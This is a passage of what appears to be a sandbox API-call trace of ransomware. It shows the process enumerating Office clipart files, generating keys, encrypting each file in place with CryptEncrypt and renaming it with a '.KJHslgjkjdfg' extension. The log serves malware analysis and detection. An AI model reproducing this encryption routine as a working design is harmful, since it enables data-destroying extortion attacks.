lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0159.554] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.554] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.554] GetProcessHeap () returned 0x2a0000 [0159.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.554] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.554] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.554] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.554] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.554] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.554] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.554] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.554] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.554] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.555] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.555] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.555] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x43fe, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x43fe, lpOverlapped=0x0) returned 1 [0159.556] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4400, dwBufLen=0x4400 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4400) returned 1 [0159.556] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.556] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4400, lpOverlapped=0x0) returned 1 [0159.556] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.556] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x44d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.556] SetEndOfFile (hFile=0x114) returned 1 [0159.559] GetProcessHeap () returned 0x2a0000 [0159.559] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.559] GetProcessHeap () returned 0x2a0000 [0159.559] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.559] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.kjhslgjkjdfg")) returned 1 [0159.560] CloseHandle (hObject=0x114) returned 1 [0159.560] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2774900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2774900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1 [0159.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.561] GetProcessHeap () returned 0x2a0000 [0159.561] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.561] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.561] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.561] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.561] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.561] GetProcessHeap () returned 0x2a0000 [0159.561] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.561] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.561] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.561] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.564] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.564] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.564] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.564] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.564] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.565] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.565] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.565] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.565] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5c0, lpOverlapped=0x0) returned 1 [0159.565] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c0) returned 1 [0159.565] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.565] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5c0, lpOverlapped=0x0) returned 1 [0159.565] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.565] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.565] SetEndOfFile (hFile=0x114) returned 1 [0159.568] GetProcessHeap () returned 0x2a0000 [0159.568] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.568] GetProcessHeap () returned 0x2a0000 [0159.568] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.568] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.kjhslgjkjdfg")) returned 1 [0159.569] CloseHandle (hObject=0x114) returned 1 [0159.569] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf50d3100, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf50d3100, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1 [0159.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.571] GetProcessHeap () returned 0x2a0000 [0159.571] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.571] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.571] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.571] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.573] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.573] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.574] GetProcessHeap () returned 0x2a0000 [0159.574] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.574] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.574] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.574] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.574] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.574] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.574] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.574] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.574] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.574] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.574] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.574] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.574] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x148c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x148c, lpOverlapped=0x0) returned 1 [0159.576] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1490, dwBufLen=0x1490 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1490) returned 1 [0159.576] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.576] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1490, lpOverlapped=0x0) returned 1 [0159.576] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.576] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.576] SetEndOfFile (hFile=0x114) returned 1 [0159.578] GetProcessHeap () returned 0x2a0000 [0159.578] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.578] GetProcessHeap () returned 0x2a0000 [0159.578] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.578] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.kjhslgjkjdfg")) returned 1 [0159.579] CloseHandle (hObject=0x114) returned 1 [0159.579] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb4f600, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb4f600, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1 [0159.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.580] GetProcessHeap () returned 0x2a0000 [0159.580] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.580] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.580] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.580] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.581] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.581] GetProcessHeap () returned 0x2a0000 [0159.581] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.581] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.581] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.581] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.583] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.583] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.583] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.583] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.583] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.583] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.583] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.583] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.583] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x380, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x380, lpOverlapped=0x0) returned 1 [0159.583] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x380, dwBufLen=0x380 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x380) returned 1 [0159.583] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.583] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x380, lpOverlapped=0x0) returned 1 [0159.583] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.584] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.584] SetEndOfFile (hFile=0x114) returned 1 [0159.586] GetProcessHeap () returned 0x2a0000 [0159.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.586] GetProcessHeap () returned 0x2a0000 [0159.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.587] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.kjhslgjkjdfg")) returned 1 [0159.588] CloseHandle (hObject=0x114) returned 1 [0159.588] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4dd7200, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4dd7200, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1 [0159.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.589] GetProcessHeap () returned 0x2a0000 [0159.589] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.589] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.589] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.589] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.589] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.589] GetProcessHeap () returned 0x2a0000 [0159.589] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.589] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.589] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.589] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.591] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.591] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.591] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.591] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.592] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, 